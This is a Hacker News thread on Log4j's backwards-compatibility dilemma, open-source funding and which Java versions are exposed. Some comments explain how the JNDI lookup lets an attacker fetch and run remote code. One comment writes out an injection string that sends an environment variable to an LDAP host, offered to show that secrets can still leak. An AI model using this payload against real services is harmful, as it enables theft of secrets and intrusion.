[HN Gopher] Log4j: Between a rock and a hard place
___________________________________________________________________
Log4j: Between a rock and a hard place
Author : todsacerdoti
Score : 148 points
Date : 2021-12-11 19:41 UTC (3 hours ago)
(HTM) web link (crawshaw.io)
(TXT) w3m dump (crawshaw.io)
| johnsolo1701 wrote:
| When a Javascript logging package has a vulnerability: "Why do
| you need a package for something so basic as logging? This should
| be part of JS core lib, or just roll your own."
|
| When a Java logging package has a vulnerability: Sober
| introspection about the role of maintainers, dependencies, and
| backward compatibility in the OSS ecosystem.
| notreallyserio wrote:
| Yeah but one uses npm and the other maven.
| dang wrote:
| Recent and related:
|
| _Log4j RCE Found_ -
| https://news.ycombinator.com/item?id=29504755 - Dec 2021 (457
| comments)
|
| _Widespread exploitation of critical remote code execution in
| Apache Log4j_ - https://news.ycombinator.com/item?id=29520415 -
| Dec 2021 (80 comments)
| rdxm wrote:
| I call * _BULL SHIT**
|
| Backwards compatibility doesn't trump catastrophic failure. Break
| people's shit to prevent a disaster. The idea that backwards
| compatibility is more important than safety is moronic. That
| simple...._
| ordiel wrote:
| People and, many companies seem to forget that such software
| comes "AS IS" and it means, AS IS, I would be glad to see fortune
| 500 companies try to put together a team providing flawless
| logging capabilites. In reality I know they would not be able to
| get to be half as good as an open source library, fist of all
| drowning developers in unnecessary administrative tasks, imposing
| stupidly unreasonable deadlines and fully ignoring engineering
| advice from... well the engineering team. It's an insult that
| those companies profiting masively from so many open source
| projects still have the audacity to put blame on (again) software
| whose premise is "AS IS" specially when if you look at their
| projects (even the ones they sell to their customers) are
| basically bullshit put thogether with spit and boogers (and I've
| work in more than one FAANG to know this is truth by experience)
| titzer wrote:
| > This is where software goes wrong the most for me. I want, year
| after year, to come back to a tool and be able to apply the
| knowledge I acquired the last time I used it, to new things I
| learn, and build on it. I want to hone my craft by growing a deep
| understanding of the tools I use.
|
| This resonates with me deeply. Mastery of any subject needs a
| level of stability and permanence so that a skill base and a
| knowledge base doesn't erode away over time. Change is that
| erosive force, and we're so bad at knowing what changes to make
| in the software world.
| mrtweetyhack wrote:
| they don't have to make promises since it's not a paid product.
| Do with it as you please.
| throwawayboise wrote:
| Isn't there a middle ground?
|
| You can get the "safe" non-backwards-compatible update as
| free/open source, or you can pay for updates that retain
| backwards compatibility.
|
| There is already a model for this, where companies will pay for
| support for old versions of software that have been declared EOL
| and no longer getting "free" updates. Microsoft offers this for
| older Windows NT versions, for example.
| ferdowsi wrote:
| This could have been solved by just making the unsafe behavior
| opt-in via a command-line flag. Right now it is opt-out.
| agilob wrote:
| > What does backwards compatibility mean to me?
|
| > I want to not spend much time upgrading a dependency
|
| > Go compatibility promise:
|
| >So whenever a change in behavior happens in an upstream library
|
| You are comparing a promise from language designers to no promise
| from the library developers. Syntax from Oak (before Java was
| called Java) still compiles and works in Java 17 right now:
| jshell pub| Welcome to JShell -- Version 17 | For
| an introduction type: /help intro jshell> public abstract
| interface I {} | created interface I
|
| You can still type (public abstract interface - all interfaces
| are abstract by default since Java 1) and it works. One of the
| reasons I gave up on writing desktop applications in Go was
| libraries were breaking compatibility with every commit. GTK+
| binding was literary unusable as before gomod this would break
| literally, and I mean literally, every day.
|
| Please tell me that none Go library had any breaking changes in
| the last 5 years and I'm using it as my default ecosystem from
| tomorrow.
| bshipp wrote:
| I'm still flabbergasted that the original maintainers are rushing
| around trying to patch these problems. Unless their specific
| personal/professional projects are at risk they have no
| responsibility to hurry and fix a thing.
|
| You'd think, in the spirit of open source, these multi-billion
| dollar companies--like Apple and Google and Amazon--would
| recognize the danger and immediately divert the best engineers
| they had to help this team identify and mitigate the problems.
| They should have been buried in useful pull requests.
|
| For that matter, they should have really picked them all up in
| private jets and flown them to neutral working space with those
| engineers for a one or two week hackathon/code sprint to clean up
| the outstanding issues and set the project on a sustainable path.
| To get those maintainers there they should offer a six figure
| consulting fee and negotiate with their current employers to
| secure their temporary help.
|
| I can't believe these folks just get abandoned like this while
| CEOs/CTOs from rich companies wring their hands wailing about the
| problems and not offering solutions.
| throw_log4jfang wrote:
| > You'd think, in the spirit of open source, these multi-
| billion dollar companies--like Apple and Google and Amazon--
| would (...) mitigate the problems.
|
| FAANG engineer here, and one who had to work extra hours to
| redeploy services with the log4j vulnerability fix. I'm not
| sure you understand the scope and constraints of this sort of
| problem. Log4j's maintainers have a far more difficult and
| challenging job than FANGs or any other consumer of a FLOSS
| package, who only need to consider their own personal internal
| constraints, and if push comes to shove can even force
| backwards-incompatible changes. The priority of any company,
| FANG or not, is to plug their own security holes ASAP. Until
| that's addressed the thought of diverting resources to fix
| someone else's security issues doesn't even register on the
| radar. I mean, are you willing to spend your weekend working
| around the clock to fix my problems? Why do you expect others
| like me to do that, then? Instead I'm spending a relaxing
| weekend with my family with the confort of knowing my service
| is safe. Why wouldn't I?
| 2muchcoffeeman wrote:
| > _I mean, are you willing to spend your weekend working
| around the clock to fix my problems?_
|
| Surely the difference is you are getting paid, and if your
| boss says, help these guys out, you can do it? As opposed to
| some guys with jobs who have a project on the side. The big
| guys could even do something like offer to pay the
| maintainers and maybe they can take leave or something.
|
| I agree with both sentiments. The big guys are under no
| obligation to fix an issue in some library they happen to
| use. But the log4j guys are under even less obligation when
| they do it in their spare time.
|
| Everyone should enjoy their weekends.
| throw_log4jfang wrote:
| > Surely the difference is you are getting paid, and if
| your boss says, help these guys out, you can do it?
|
| No, I'm not getting paid. What leads you to believe in
| that? My targets are defined yearly and are very well
| defined, and patching random FLOSS projects is not one of
| them. And what leads you to believe that others, such as my
| boss, don't have their own milestones to meet, and instead
| take random FLOSS requests from random people on the
| internet?
|
| A FANG is not a magical entity where any engineer can drop
| everything they're doing at the drop of a hat to work on
| external projects, let alone one whose only possible
| outcome is at best total indifference and at worse we get
| the company to own a problem affecting everyone for no
| reason whatsoever.
| ferdowsi wrote:
| I really don't understand why you are defining this as a
| random, external project. Your software is dependent on
| this project! It's right in the term "dependency"!
| wnolens wrote:
| same. my evenings and weekend are totally gone to put out
| this fire. which I wouldn't do if i wasn't obligated to
| bshipp wrote:
| I'm not saying you, as an engineer for those companies,
| should be the one to donate your time and energy toward the
| problem. We all have competing priorities, as do the
| maintainers of those FLOSS packages.
|
| I'm saying that your company's CTO, especially one with a
| very large companies, could likely identify two or three
| engineers who they pull into a meeting and say "reach out to
| these guys and get them whatever they need. Here's my cell,
| call me the moment you need the plane or additional
| resources."
|
| Seriously, if a CTO has a budget of a few hundred million
| dollars and thousands of dedicated employees, how hard is it
| to throw a few crumbs to the open source community to change
| this situation from being one of a burden on a volunteer
| effort to, instead, one where they feel like they're in the
| middle of an international event where their knowledge and
| services are vital to keeping the internet alive?
|
| Again, I'm exaggerating, but you see where I'm going with
| this. It's a missed opportunity for some seriously great PR
| out of a seriously bad situation.
| raggi wrote:
| As with earlier comments this seems to oversimplify the
| problem of throwing people at a problem. Adding people to a
| project puts more pressure on the current maintainers, to
| authenticate, validate, train and support newcomers.
|
| Apache has processes for this, and project maintainers
| pointed people in that direction repeatedly (e.g.
| https://github.com/apache/logging-
| log4j2/pull/608#issuecomme...,
| https://github.com/apache/logging-
| log4j2/pull/608#issuecomme...).
|
| The Apache foundation receives funding from a large number
| of organizations already:
| https://www.apache.org/foundation/thanks.html
|
| Perhaps the right question to ask here is: what did Apache
| do to help their members in this event?
|
| You can ask this question of the Apache foundation
| independently, without adding pressure on the project
| maintainers at this time.
| UncleMeat wrote:
| This situation is fairly urgent, but I think you might not
| realize just how many people a CTO at one of these
| companies manages. There are going to be "OSS fires" more
| or less constantly so "some major OSS project has a bad
| vuln" is not the sort of thing that gets a CTO at a company
| like Google or Facebook out of bed. I've only seen this
| happen a very few times and they were for problems that
| were _way_ more serious and complex.
|
| But that is not to say that nothing is being done. At
| Google, at least, there are organized efforts staffed with
| plenty of people that are trying to solve the much much
| much bigger problem of "secure all of our open source
| dependencies and all future dependencies" rather than the
| individual problem of "secure this one dependency."
|
| And PR? Google has been running projects like OSSFuzz for
| years and I haven't really seen it materialize as a large
| amount of positive PR, even in the tech community.
| teruakohatu wrote:
| > And PR? Google has been running projects like OSSFuzz
| for years and I haven't really seen it materialize as a
| large amount of positive PR, even in the tech community.
|
| Google's Project Zero is both very helpful and gets them
| A LOT of PR, both tech and mainstream.
| phkahler wrote:
| >> I'm still flabbergasted that the original maintainers are
| rushing around trying to patch these problems.
|
| Agreed, while reading it I also disagreed at this point:
|
| >> the maintainers of log4j would have loved to remove this bad
| feature long ago, but could not because of the backwards
| compatibility promises they are held to.
|
| Nobody is holding them to anything. If they want to remove an
| old feature, go right ahead. If those using it think it's that
| important they can fork the project and maintain it themselves.
| Oh right, that would take effort or money.
| duxup wrote:
| Did they want to remove it because of security concerns?
|
| If so, I really wouldn't hold someone to any backwards
| compatibility promise if security is a concern.
| thrdbndndn wrote:
| I knew you're deliberately exaggerating but isn't it a little
| bit over the top?
|
| That ("...private jets..") doesn't happen because the solution
| isn't exactly the hard part, and the unpaid original
| maintainers are doing them anyway.
| joshjdr wrote:
| For argument's sake, at least, I don't consider anything
| suggested here as definitively "over-the-top". It may seem
| (or be) unrealistic in practice (for reasons I don't know),
| but the suggestion is far from unconscionable-- it may, in
| fact, be the lowest cost solution to what could cost mega-
| corps billions in current (and potential future)
| fines/liabilities. To the extent it sounds like an
| exaggeration, I think that embodies the point of the
| comment-- there are some (almost unreconcilable) concerns
| that impact the interplay of corporations and open source
| development.
| bshipp wrote:
| I admit to a certain level of exaggeration but, at the same
| time, we are talking literal peanuts to a large company. They
| could spend a million dollars and it'd be a rounding error on
| their balance sheet.
|
| In all seriousness, taking actions like I identified above
| would cost the companies virtually nothing but result in huge
| long-term benefits by signaling to the rest of the open
| source world that "we love your work and will be right beside
| you helping if the chips are down."
|
| This is, of course, not a suitable compensation model for
| popular open source projects. Thats a separate conversation.
|
| But it would at least be something.
| antonvs wrote:
| The compensation model is the problem. It doesn't mesh well
| with the way corporations function. If you don't charge for
| your product or services, corporations have no standard
| mechanism for addressing that some other way.
|
| Open source contracts essentially state that companies can
| use the product with no relevant obligations, so they do.
| The "huge long term benefit" you claim can't be reliably
| translated onto a balance sheet, so it isn't.
|
| And when companies do get involved, it's often explicitly
| for their direct commercial benefit, like Amazon's
| ElasticSearch distribution.
|
| There's also a race to the bottom aspect to it. If an open
| source package e.g. charges for commercial use, something
| more free is likely to replace it.
| jancsika wrote:
| > The compensation model is the problem. It doesn't mesh
| well with the way corporations function. If you don't
| charge for your product or services, corporations have no
| standard mechanism for addressing that some other way.
|
| FSF: Pardon me, here's a little process that encourages
| sharing so that everyone can...
|
| Corporations: _gnawing on a giant proprietary turkey leg_
| Doesn 't Mesh Well nom nom nom No Standard Mechanism nom
| nom nom
|
| **
|
| Corporations: _yelling through a mouthful of turkey_ What
| in sam hell is Linux why does IBM have a billboard about
| Linux why don 't we have Linux?
|
| Underling: Sir that's open source, our standard licensing
| mechanism wouldn't...
|
| Corporations: _belching through a mouthful of turkey_
| change the goddamned mechanism I want linux and pass me
| that mayo
| dylan604 wrote:
| if this was a difficult task to fix, maybe support to
| ensure the devs can properly focus on the task would be a
| valid thing. however, this sounded like something not very
| difficult to fix. it will take longer for all of the end
| users to deploy fixes in their envs that it took for the
| patch to become available.
|
| molehill meet mountain.
| throw_log4jfang wrote:
| > I admit to a certain level of exaggeration but, at the
| same time, we are talking literal peanuts to a large
| company.
|
| I'm not sure you understand what you are asking, and I'm
| kind of dumbfounded by the sense of entitlement of your
| request. You are expecting others like me to be forced to
| work weekends on a problem that doesn't concern me (because
| my service is already patched) for absolutely nothing in
| return, and instead risking owning a problem and the blame
| of not coming up with a one-size-fits-all magic bullet.
|
| All downsides and absolutely no upside at all, for my
| employer and let alone for myself.
|
| Let me ask you this: how much of your personal time did you
| invested in coming up with a fix for this vulnerability?
| And yet you feel entitled to demanding this from others?
| detaro wrote:
| You do realize that this issue wasn't discovered this
| morning, and indeed part of the point is that if it
| wasn't people in their spare time it could've been
| patched days ago, and you could've fixed all your
| services during the week? So you prefer working weekends
| to fix a delayed bug instead of devs being paid to help
| fix it for everybody during the working week?
| [deleted]
| raggi wrote:
| This commentary is exactly the problematic commentary the
| authors were referring to in the quote that David included
| near the top of his article. You may not be being so
| directly brash about their state, but you still imply with
| added dramatic extension that the project is in some dire
| state. That's likely a significant overreaction. There's a
| feature in the project that leads to a security concern,
| making it fixable likely took a small number of hours,
| communicating and dealing with the drama is what has and
| would continue to take the time, as well as pushing back on
| a plethora of demands for "full review" or "you must travel
| outside of your home country so I feel comfortable again".
|
| I poked some fun at the issue, because this is in many ways
| an amusing issue - a feature that would rarely be added in
| more recent times, but at the time it was introduced we as
| an industry considered the whole space differently. I'm
| sure the maintainers are having a tough time, and theres no
| need to point fingers at them, hell there's no need to
| point fingers at the implementor of the feature. It's a
| mistake in retrospect but that doesn't make anyone unworthy
| of respect.
|
| The actions you identified make a lot of assumptions, some
| are exclusionary, some are potentially offensive: - not
| everyone lives in the same country - not everyone can
| travel on a whim - the developers don't need to be close to
| you or their customers unless they want to be. - the
| project is not in some dire state in need of "saving"
|
| As an Apache project there is a foundation that can help
| organize funding, and so if there's a funding problem with
| the project the discussion should start there. Yes, open
| source at large is underfunded, but this isn't a standalone
| project on a personal git host. Apache has some (probably
| not enough) funding, but most importantly it has the
| industry contacts and relationships to do better here.
|
| There's a problem with "doing better" though, which I
| rarely see come up in these conversations. There are lots
| of libraries, such as log4j, that don't necessarily need
| full time staff or full time funding. They need spurts of
| funding at key times, to handle the trickle of regular but
| infrequent patches, to roll releases periodically, and
| occasionally such as this to dedicate some significant time
| to handling an exceptionally rare event. What this
| requires, in my opinion, more than arbitrary dollars, is a
| slush fund of professional time sponsorship, for employers
| of key contributors to be ready to make space available
| during work hours for this work, without adding any more
| pressure to the situation. Depending on the situation this
| may or may not require additional funding, but for a
| healthy ecosystem finding ways to arrange for this, and
| helping employers be comfortable with it is the step
| necessary to address the wide scale problem of small to mid
| size projects burning people's personal time in unplanned
| ways.
| bshipp wrote:
| If I misspoke or offended anyone it was certainly not
| intentional. The bulk of my comment was based on the
| linked tweet:
|
| > "Log4j maintainers have been working sleeplessly on
| mitigation measures; fixes, docs, CVE, replies to
| inquiries, etc. Yet nothing is stopping people to bash
| us, for work we aren't paid for..."
|
| I guess that sounded to me like a very small group of
| isolated volunteers struggling to handle a lot of press
| and attention along with demands from numerous loud
| users. I thought perhaps they could have benefited from
| having some additional support.
|
| My apologies if I unintentionally offended.
| rackjack wrote:
| This is a problem in open source: everybody wants the fruits of
| labor without paying for it. The log4j vulnerability is what
| happens when you don't pay for it.
| reidrac wrote:
| That's right. It is open source and, when it breaks, you get
| to keep both pieces.
| dylan604 wrote:
| but being open source, you can pull out the crazy glue and
| stick them back together. if you feel generous, you can
| submit your crazy glue solution to the devs. if they like
| it, they can then make it part of the package.
| [deleted]
| coliveira wrote:
| That's why I don't contribute to open source that is used by
| big corps. I don't like the idea of working for free for the
| benefit of billionaires.
| sorry_outta_gas wrote:
| I'm not sure about Amazon but Google project's zero and
| openfuzz teams seem to be doing a lot of good work when it
| comes to open-source security -- more would be nice always
|
| Personally I'd like somelike like a security health card/metric
| on opensource libaries that we could tie into CI systems/pull
| requests or something
|
| in the past there were so few libarries it wasn't as daunting
|
| I'd be able reason about stuff like libpng, libttf ..etc and
| think about them or even support them but now some projects are
| massive hodgepodges of thousands upon thousnads of packages
| dehrmann wrote:
| > You'd think...these multi-billion dollar companies...would
| recognize the danger and immediately divert the best engineers
| they had to help this team identify and mitigate the problems.
|
| For the general case, the problem is that a reporter might
| report the vulnerability to the open source project, then the
| project needs to keep it a secret while they make a fix. There
| isn't a great way to leverage these stakeholders. It's
| obviously different for something like Android that is open
| source, but clearly Google.
| MattGaiser wrote:
| Are data breaches actually treated as all that seriously? For
| all the talk about cyber security, there seems to generally be
| little investment. It appears to be viewed as more of a
| reputational concern than an operational one.
|
| A past organization of mine had a data breach (the kind that
| ended up making the news everywhere). A few people left
| (probably making it worse with all the turnover there), but I
| would be surprised if anything really changed in that
| organization.
| willis936 wrote:
| A data breach isn't the primary concern here. This exploit
| allows full pwnage of a system and could take down entire
| networks for as long as it takes to rebuild them.
| twunde wrote:
| If the company is in healthcare or finance, yes. Otherwise
| the typical answer is no. Most companies just load up on
| cyber insurance and call it a day. That said, reputational
| concern, is a big thing for companies. Take Dropbox for
| example. Early on they suffered several security breaches,
| and had a bad reputation around security. They've since built
| out a fairly large security program, in part because bad
| security can block deals, especially in the enterprise space.
|
| I'll note that there's been more investment in security the
| last 4-5 years. Most B2B companies do a SOC2, and early on,
| so there tends to be a baseline of competence.
| zamalek wrote:
| > for a feature we all dislike yet needed to keep due to backward
| compatibility concerns.
|
| It's logging. While logging is extremely important, I think we
| could all tolerate removing a vulnerable feature. Or, just move
| the feature to a separate package.
|
| I have made bad decisions, we have all made bad decisions. Own
| them, improve, and celebrate the opportunity to learn and
| improve. Keeping this around, as a _default,_ was a bad decision.
| If your enterprise contracts don 't want to turn a flag on, then
| they can always skip upgrading (they generally do regardless).
| diroussel wrote:
| They didn't know it was vulnerable, they just didn't like it
| for other reasons.
|
| Should maintainers of all core apache libs just remove or
| disable features they don't like, when not known to be
| insecure?
|
| That said, log4j2 isn't that old. Not sure why this was added
| in the first place. At the very least it's a performance issue.
| zamalek wrote:
| > Should maintainers of all core apache libs just remove or
| disable features they don't like,
|
| Why not? I can just go into a parity package.
| wpietri wrote:
| > Should maintainers of all core apache libs just remove or
| disable features they don't like, when not known to be
| insecure?
|
| I'd bet more will start doing so. If nobody is excited to
| keep the feature up and any unloved code contains risks,
| getting rid of it seems fine to me. If companies want that
| code maintained, they can pay up or get one of their people
| to do it.
| orangecat wrote:
| _Keeping this around, as a default, was a bad decision._
|
| Definitely. But really, they were screwed once it had shipped.
| They could and should have disabled it in an update long ago,
| but then anyone who read the release notes or the code would
| know how to exploit the millions of un-updated systems.
| dehrmann wrote:
| One place I worked used syslog to ship important analytics data
| from services to Kafka. log4j is a reasonable choice for
| logging to syslog from Java (but let's be honest, you should be
| on Logback). Now, using jndi as part of this? That's getting a
| little too clever.
| stefan_ wrote:
| There seems to be a misunderstanding here. We have on the one
| side a garbage feature that should never have been implemented -
| but if you want to keep it for backwards compatibility, sure. But
| then we have log4j scanning all values instead of only format
| strings - I think it can be argued that this behavior is a
| critical bug and was never intended to begin with. It seems to
| have only come about because whoever implemented the JNDI stuff
| lost their bearing in the absurd class hierarchies and
| abstractions in log4j.
|
| Of course the last part holds the solution for our backwards
| compatibility issue. Remove the JNDI nonsense from the default
| package and move it into an extension package. Whoever wants to
| keep it can just add that to their dependencies and continue to
| enjoy logging functions that sometimes also make network
| connections and block your program.
| boricj wrote:
| To add some perspective, log4j has gone for 20 years with only
| two major versions. Assuming that they are following semantic
| versioning, that means they added new features/fixes in a
| backwards-compatible way and only broke compatibility _once_ in
| over two decades. That's both a testament to the stability of the
| library over time and a reminder that all the cruft accumulated
| over the years at most gets gated off through saner defaults.
| shaldengeki wrote:
| This assumption isn't true, though. APIs routinely get changed
| in minor versions, which can make it non-trivial to upgrade
| large codebases that use lots of features.
| fouc wrote:
| If breaking changes on an API are made in minor versions then
| they're not actually following semantic versioning.. and
| that's by choice.
| Aperocky wrote:
| > use lots of features.
|
| That's the problem, you use log4j to log. Any 'feature'
| outside of that being used is wrong. Any 'feature' outside of
| that being implemented, is wrong.
|
| If JNDI string interpolation is desired, write another module
| that does that.
|
| I hate 'is-odd' but this is another extreme and
| demonstratably worse.
| WJW wrote:
| Semantic versioning itself is substantially younger than 20
| years.
| forrestthewoods wrote:
| Can someone explain exactly what bad thing someone can do with
| this exploit?
|
| I understand passing a data to a second server and being able to
| exfiltrate environment vars. (Environment vars are evil.) But I
| feel like I'm missing a step. How does this let someone take over
| a machine? How can attacker upload and run their own binary that
| can actually do real damage?
| didibus wrote:
| You can execute arbitrary code into someone's server. You gain
| full control of whatever the user running your application is
| allowed to do.
| peterwaller wrote:
| It lets the hacker take over the machine because there are
| strings which are interpreted as (IIUC, I am not a java
| engineer) variables within a class, and you can express a
| remote URL to load a class from, apparently (through something
| like (jndi://... ldap... URL), resulting in fetching code from
| somewhere and running it, in the service of writing a log
| message. This is apparently being exploited in the minecraft
| ecosystem by simply writing chat messages containing the full
| exploit, which gets executed by both servers and clients.
| forrestthewoods wrote:
| > resulting in fetching code from somewhere and running it
|
| Ahhh ok. I didn't realize the service would fetch and
| execute. Yikes.
| teget wrote:
| By my understanding the RCE part of the exploit should not
| apply to recent java versions if the default options are used
| (minecraft shipped older version afaik, and all bets are off
| for unmaintained enterprise applications). The data
| extraction however will work on any java version if the
| server in question has the capability to connect to a server
| under the control of an attacker, as the network request will
| be performed even if the JVM options that should avoid the
| RCE are enabled. Big problem for client applications (as
| usually most outgoing connections are allowed). A bit harder
| to evaluate the impact in the enterprise context as many
| companies will not allow their servers to connect to "random"
| endpoints or at least require target-specific proxies to
| connect to the internet/intranet which makes this harder to
| exploit.
| dexwiz wrote:
| The last part advises to be feature conservative to avoid
| promises all together. For that look to enterprise software where
| backwards compatibility is a legal agreement. This carries a
| bunch of alternative issues.
| eatYourFood wrote:
| The last part advises being feature conservative to avoid
| promises altogether. For that, look to enterprise software
| where backwards compatibility is a legal agreement; this
| carries a bunch of alternative issues.
|
| I attempted to fix your questionable grammar as to make your
| writing easier to understand.
| PufPufPuf wrote:
| The original is understandable. The person might not be a
| native speaker and calling their grammar "questionable" is
| too harsh, especially on an online forum. Also I don't think
| some of your "fixes" are necessary or meaningful.
| eatYourFood wrote:
| You can say "this" straight after a full stop (period). Get
| over it.
| floatboth wrote:
| "Features" is a way too abstract thing to blame, tbh.
|
| The elephant in the room here is the excessive dynamism allowed
| by default on the JVM platform. How many applications actually
| need fancy classloaders? Why isn't _every_ step to get there -
| "loading a class from anywhere that isn't my JARs", JNDI,
| JNDI's LDAP backend, etc. - an explicit opt-in flag to the VM?
| Java's wide-open defaults are what made the blast radius of
| this huge.
| zmmmmm wrote:
| Java's dynamic classloaders were one of it's original
| tantalising features. That you could have code from one place
| running somewhere else - "agents" could literally send their
| bytes to a device to execute there, run there and then erase
| themselves when they were done. It sounds crazy these days
| but it was all meant to be held together by the security
| model - built in at the core it was safe to let foreign byte
| code execute locally because the completely managed VM could
| enforce a security sandbox that allowed the code to do only
| exactly what it was meant to.
|
| In some ways that is where this and all those features fell
| down ... if log4j had constrained those classes within a
| security sandbox it wouldn't matter what they did. But nobody
| understands or uses Java security permissions. The whole
| system is byzantine and drives people crazy whenever they do
| run into it. But if it had worked you could be asking the
| question, "why did log4j allow the permission for the remote
| code to do bad things" rather than "why was remote code
| allowed to execute".
| layer8 wrote:
| "My jars" isn't a well-defined concept, similar to how "my
| DLLs" or "my SOs" isn't in native-land. The difference isn't
| actually that large. If CORBA or DCOM had had more success,
| we could have very similar exploits in the native realm.
| krzyk wrote:
| There are popular languages that have `eval()`, so I don't
| see why blame Java only?
| jpfed wrote:
| Don't get us wrong, eval() is terrible too.
| mooreds wrote:
| I get that this is a big deal (any remote code execution that is
| prevalent is a big deal).
|
| But one thing that I haven't seen mentioned enough is that this
| only affects pretty old versions of java.
|
| From https://www.veracode.com/blog/security-news/urgent-
| analysis-... JVM version - if lower than:
| Java 6 - 6u212 (java6 first released in 2006, this version
| appears unreleased?) Java 7 - 7u202 (java7 first
| released in 2011 this version appears unreleased?)
| Java 8 - 8u192 (from 2018) Java 11 - 11.0.2 (from
| 2019)
|
| The current version of java is java17. Anything running on 17 or
| 14 (the last major release) isn't vulnerable.
|
| Now, I get that major version upgrades are a hassle, but I
| haven't seen anyone address the "hey, you should have upgraded"
| elephant in the room.
|
| (All java release dates from https://www.java.com/releases/ )
| koboll wrote:
| If this survey is to be believed, as of last year, nearly
| everyone is using either Java 8 or Java 11, with Java 8 being
| the overwhelming favorite with almost 60% of respondents
| reporting using it.
|
| https://www.jrebel.com/blog/2020-java-technology-report
| mooreds wrote:
| Fair. There's been some licensing ... well shall we call them
| mishaps ... in the last couple of years. That I think has
| kept a lot of folks on older versions of Java.
|
| But even if folks are okay on java8 (first released in 2014!)
| there is a version of java8 that is not vulnerable and it has
| been around for 3 years.
| [deleted]
| layer8 wrote:
| It's not the licensing, it's the amount of
| incompatibilities JDK 9 introduced.
|
| Also, current JDK versions are still vulnerable: https://mb
| echler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Inj...
| whartung wrote:
| Precisely. JDK 8 -> 11 is not "drag and drop". While that
| was mostly the up through JDK 8, the JDK 9 changes are a
| large step that need to be hurdled, and it's easier said
| than done.
|
| Plus if you're working on legacy app servers, you're
| bound to whatever they are running outside of what you
| actual application supports. Then add in the whole JaveEE
| -> JakartaEE transition that was ladled on top of the JDK
| 8-> 11 transition, and it wasn't just a can of worms, but
| a kettle of fish and a barrel of monkeys all at once.
| bombcar wrote:
| Using Java 8 doesn't mean you have to use 8_51 or whatever -
| you can use 8_300+ or whatever the current is.
| brasetvik wrote:
| > But one thing that I haven't seen mentioned enough is that
| this only affects pretty old versions of java.
|
| Recent versions were still susceptible to e.g. exfiltration of
| env vars, which may often contain secrets.
|
| ${jndi:ldap://127.0.0.1:1389/o=${env:PATH}}
| jefftk wrote:
| 8 and 11 are LTS releases, and are still supported. 17 is the
| new LTS, but it's only been out for 2m. See
| https://endoflife.date/java
| yellow_lead wrote:
| I wouldn't agree that these are "pretty old." Maybe in frontend
| terms of software, but not backend.
| TheGuyWhoCodes wrote:
| 2-3 years is pretty old.
|
| Java backward compatibility is really good, even better when
| it's on the same major I don't see why you shouldn't update.
| You have a docker image with java, just pull the base image
| before you build, you run it bare you/need to update the
| server packages periodically, better if you have unattended
| update setup (default in recent ubuntu versions tho might
| need a server restart for some to apply) It's not like
| between java updates there aren't any security fixes, there
| are so you should update.
|
| Nevertheless other mitigations like not exposing internal
| services to the internet would have blocked these attempts.
| justinclift wrote:
| > 2-3 years is pretty old.
|
| In the JS or NodeJS world, sure. For pretty much everyone
| else, not so much.
| TheGuyWhoCodes wrote:
| I wasn't talkin about a 3rd party library, Java is your
| runtime platform it has security fixes roll out.
|
| If you are an enterprise company that runs 3 year old
| java version then
|
| 1) Your CSO and CIO should all be fired
|
| 2) Your security team should be replaced
|
| 3) Your ISO 27001 and SOC2 certification among others
| should be revoked
| Gigachad wrote:
| For internet connected software, it's pretty old. If you
| don't update for 3 years and expect to still be secure,
| you are in for a shock.
| thrower123 wrote:
| Something that's 2-3 years old maybe has enough bugs worn
| off it by the early adopters that enterprise users might
| start thinking about maybe using it in Q4 of next year.
| After a massive pilot program to do a test rollout and lab
| deployment.
| isbvhodnvemrwvn wrote:
| They are. You should have an up-to-date runtime to prevent
| vulnerabilities or just to have more-or-less accurate TZ
| databases if anything else.
|
| It can be Java 8, but please use one with actively developed
| security patches.
| spijdar wrote:
| It's a big deal because most large users of Java aren't
| actually using the newer versions. It's very hard to source
| that claim, and I apologize for the lack of hard data, but in
| my experience with "enterprise Java", it's almost all still
| Java 11, or even Java 8.
|
| Some lame anecdotes:
|
| Minecraft ships with a bundled version of Java 8. Most linux
| distributions still default to Java 11, and you have to
| explicitly ask for newer JDKs. Some distributions, like Void
| Linux, still only package Java 11. Many enterprise applications
| don't even use the system Java environments, and package their
| own outdated version of Java, sometimes in /opt, sometimes in
| their installation directory on Windows.
|
| (edit: to this point, Minecraft apparently ships with 1.8.0_51
| from 2015, and I'm sure I've seen similar with some Java
| applications at work. I imagine for programs that aren't
| servers listening on the network, the threat of exploitation
| seemed lower, and there was less of an (perceived) need to
| update even the version of Java. If it ain't broke, don't fix
| it, and all that.)
|
| Regardless of the fact people should upgrade to newer Java
| versions, the reality is (IME) they ... haven't. And so many
| (very large!) corporations are relying on vulnerable versions
| of Java, which is why this is such a big deal.
| matwood wrote:
| According to the original RCE post:
|
| > JDK versions greater than 6u211, 7u201, 8u191, and 11.0.1
| are not affected by the LDAP attack vector.
|
| So people just need to stay up to date on the latest patch
| version. Latest 8x is 8u312 and 11x is 11.0.13.
|
| So Java 11 and 8 have some mitigation already in place, but
| people need to be applying patches like they should for all
| other critical system software.
| severino wrote:
| The reason that most distributions only packaged Java 11
| until recently is actually very simple: it was the current
| "LTS" version, which had a longer support window. So
| companies won't usually jump into Java 12, or 13... because
| it meant you had 6 months until that release would be
| considered unsupported.
|
| That's why Java 11 has been receiving updates (latest one,
| 11.0.13, dates from October 2021) while Java 12, for example,
| got its last release (12.0.2) in 2019.
|
| Now that Java 17 (released two months ago) is the new Java
| LTS version, you could expect most distributions to package
| it. For example, Ubuntu has been offering Java 17 for a
| couple of months.
| spijdar wrote:
| Sure, and it's supported by more software than the newer
| versions (edit: because this wasn't clear, I mean I think
| the _default_ JDK will remain 11 for a while, even on
| distros that package newer), which have been making a fair
| number of backwards incompatible changes, which seems to
| have had the effect of discouraging adoption of newer Java
| versions. I 'm not a Java developer, so I don't really have
| personal experience or frustration with it, but it seems
| like I read "x was deprecated, then dropped, in versions
| <x>, <y> of Java" a lot, changes that would require pretty
| sweeping changes to codebases that relied on the old
| behavior/features.
|
| A lot are still stuck on 8, and aren't even compatible with
| 11, much less 15 or 17. I think VMWare's vCenter software
| still uses Java 8 internally...
| MomoXenosaga wrote:
| But then whose fault is it? Software will always be
| compromised sooner or later by hackers looking for exploits.
|
| I know Microsoft just threw the keyboard at the wall and said
| "fuck it everyone gets forced to update".
| [deleted]
| hugi wrote:
| I think the most recent Minecraft release (1.18) actually
| requires Java 17?
| tehbeard wrote:
| They've only recently been bumping Java versions.
|
| For the longest time, it was 6, then 8, and it stayed on 8
| for years. Iirc 1.17 was a jump to Java 16 after a lot of
| internal reworking, and I guess with Java 17 being LTS,
| thats why they've moved to that.
| hugi wrote:
| So the parent poster was in fact wrong about Minecraft
| using Java 8.
| pjc50 wrote:
